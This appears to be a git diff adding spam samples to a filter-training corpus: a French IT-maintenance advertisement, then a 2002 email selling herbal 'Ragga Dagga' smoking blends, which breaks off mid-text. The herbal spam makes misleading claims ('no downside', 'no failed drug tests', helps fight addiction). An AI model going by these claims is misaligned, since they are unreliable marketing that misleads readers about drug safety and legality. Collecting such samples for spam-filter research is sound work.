; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; + + + + +News IPOGEA + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    Si + vous ne souhaitez plus recevoir ce courrier, cliquez + ici
    +  
    +
    +
    01 + 44 54 32 82
    +
    +
    UN + MOIS DE MAINTENANCE OFFERT*
    +
    OUBLIEZ + VOS PROBLEMES INFORMATIQUES DU QUOTIDIEN
    +
    +

    +        Ordinateurs bloqués, + Virus informatique, Perte de données, Connexion Internet
    +        défectueuse, Imprimante + déconfigurée, Serveur en panne … Votre entreprise + ne peut
    +        plus rester bloquée + pendant plusieurs heures voire plusieurs jours.
    +

    +

    + PROFITEZ D'UN INFORMATICIEN A TEMPS PARTAGE
    + + + + + + + + + + + + + + + +
           Votre + spécialiste informatique IPOGEA vous rend visite plusieurs fois par + mois
    +        et assure une maintenance + adaptée de votre système informatique. Vous bénéficiez
    +        de l'assistance téléphonique + IPOGEA pour vous aider dans votre gestion quotidienne.
    +        En cas d'urgence, les techniciens + IPOGEA interviennent dans les meilleurs délais sur site.
    +
    +
    +
      +

    FAITES + DES ECONOMIES :
    +    Grâce + à IPOGEA, votre entreprise
    +    se dote d'un véritable service
    +    informatique sans pour autant
    +    supporter les coûts d'un
    +    recrutement à temps complet.
    +

    +     		UN + REGARD OBJECTIF :
    +    IPOGEA + est indépendant des constructeurs
    +    et des éditeurs, ce qui vous garanti la
    +    parfaite objectivité de nos conseils.
    +
    +
     
    + DES TARIFS SANS SURPRISES :
    +    La + facturation de nos services
    +    est mensuelle et forfaitaire.    		 TESTER + NOS SERVICES :
    +    Vous + pouvez tester nos services
    +    pendant 3 mois et rompre le
    +    contrat à tout moment pendant
    +    cette période.
    +
    +
    +
    + +
    + + +
    +
    Vous + souhaitez plus d'informations !
    +
    + +
    + Un conseiller vous appelle
    +     		+ +
    + +
    + +
    +
    +

    *pour + toute signature d'un contrat de 12 mois avant le 30/06/02

    +

    Si + vous ne souhaitez plus recevoir ce courrier, cliquez ici +
    +  

    +
    +
    + + + diff --git a/bayes/spamham/spam_2/00472.3c51cf86307bc98c54d856887a81e9ac b/bayes/spamham/spam_2/00472.3c51cf86307bc98c54d856887a81e9ac new file mode 100644 index 0000000..a70c7f3 --- /dev/null +++ b/bayes/spamham/spam_2/00472.3c51cf86307bc98c54d856887a81e9ac @@ -0,0 +1,250 @@ +From cweqx@fast.net.au Mon Jun 24 17:06:42 2002 +Return-Path: cweqx@fast.net.au +Delivery-Date: Mon May 27 00:28:39 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4QNSce10318 for + ; Mon, 27 May 2002 00:28:38 +0100 +Received: from www.DigitalRCS.Com (clt74-12-188.carolina.rr.com + [24.74.12.188]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g4QNSW722250 for ; Mon, 27 May 2002 00:28:33 +0100 +Received: from cs.ruu.nl ([217.37.137.73]) by www.DigitalRCS.Com with + Microsoft SMTPSVC(5.0.2195.4905); Sun, 26 May 2002 19:20:17 -0400 +To: +From: "Alice" +Subject: Let's Go Get Stoned +Date: Sun, 26 May 2002 16:25:14 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Message-Id: +X-Originalarrivaltime: 26 May 2002 23:20:17.0868 (UTC) FILETIME=[E5D780C0:01C2050B] +X-Keywords: +Content-Transfer-Encoding: 7bit + +>From the ethnobotanical herbalists who brought the herba supplementals; Kathmandu Temple Kiff “1” & “2” “Personal-Choice”, pipe-smoking products/substances to the common market!!! + +We are finally able to offer for your “Sensitive/Responsive”, “Personal Choice” Smoking Enjoyment….the “Seventh Heaven” Temple “3” Ragga Dagga (TM) Pipe-Smoking Substance Supplemental Product…. Introduced after three years of research and development; Temple “3” is “Personal Choice” legal Smoking/Indulgence….Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer….in more cultivated/enhanced/viripotent/substantiated format….what had actually already been the most significant, lawful, “Personal Choice” smoking substance available on the planet…. “Seventh Heaven” Temple “3” Ragga Dagga (TM) is the sweet, sweet evolution of all of that…. + +* A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE “1” & “2”). + +* HAPPIER, HAPPY SMOKING!!! + +* INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. + +* MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. + +* NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! + +* INHIBITS STRESS AND ANXIETY…. + +* INSPIRES CONTEMPLATIVENESS & CREATIVITY…. + +* ENHANCES THE SEXUAL EXPERIENCE!!! + +* GENERATES MORE RESTFUL SLEEP & LUCID DREAMING…. + +* A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! + +* EASILY IGNITED & STOKED. + +* SMOKES SWEETLY! + +* ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! + +* LINGERS FOR A GOOD, GOODLY WHILE! + +* POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! + +* JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY….JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). + +Temple “3” Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-“Sensitive/Responsive”, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! + +So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme 